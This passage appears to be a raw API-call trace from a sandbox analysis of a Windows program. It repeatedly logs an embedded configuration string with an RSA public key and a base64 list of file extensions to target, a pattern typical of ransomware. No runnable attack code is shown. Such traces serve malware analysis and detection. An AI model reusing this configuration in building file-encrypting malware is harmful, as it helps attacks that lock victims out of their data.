J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA